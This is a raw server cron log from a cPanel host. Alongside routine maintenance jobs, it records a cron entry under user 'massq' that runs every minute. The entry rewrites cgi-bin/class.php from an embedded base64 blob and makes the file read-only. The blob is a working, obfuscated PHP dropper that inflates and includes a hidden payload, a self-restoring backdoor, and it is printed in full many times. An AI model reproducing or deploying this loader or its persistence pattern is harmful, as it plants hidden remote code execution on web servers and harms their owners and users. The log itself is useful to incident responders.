Aug 30 17:05:01 server CROND[13843]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 17:05:01 server CROND[13842]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 17:05:01 server CROND[13845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:05:01 server CROND[13850]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 30 17:05:01 server CROND[13848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:05:01 server CROND[13859]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:06:01 server CROND[14761]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:06:01 server CROND[14760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:06:01 server CROND[14762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:07:01 server CROND[15226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:07:01 server CROND[15227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:07:01 server CROND[15228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:08:01 server CROND[15593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:08:01 server CROND[15595]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:08:01 server CROND[15594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:09:01 server CROND[15966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:09:01 server CROND[15967]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 17:09:01 server CROND[15969]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:09:01 server CROND[15970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:10:01 server CROND[16363]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 17:10:01 server CROND[16364]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:10:01 server CROND[16365]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 17:10:01 server CROND[16371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:10:01 server CROND[16370]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 17:10:01 server CROND[16372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:10:01 server CROND[16375]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 17:10:01 server CROND[16373]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 17:11:01 server CROND[17198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:11:01 server CROND[17199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:11:01 server CROND[17200]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:12:01 server CROND[17678]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:12:01 server CROND[17681]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 17:12:01 server CROND[17680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:12:01 server CROND[17679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:13:01 server CROND[18060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:13:01 server CROND[18061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:13:01 server CROND[18063]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:14:01 server CROND[18438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:14:01 server CROND[18439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:14:01 server CROND[18440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:15:01 server CROND[18869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:15:01 server CROND[18870]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:15:01 server CROND[18871]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 17:15:01 server CROND[18875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 17:15:01 server CROND[18872]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 17:15:01 server CROND[18874]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 17:15:01 server CROND[18873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:15:01 server CROND[18877]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 17:16:01 server CROND[19734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:16:01 server CROND[19735]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:16:01 server CROND[19736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
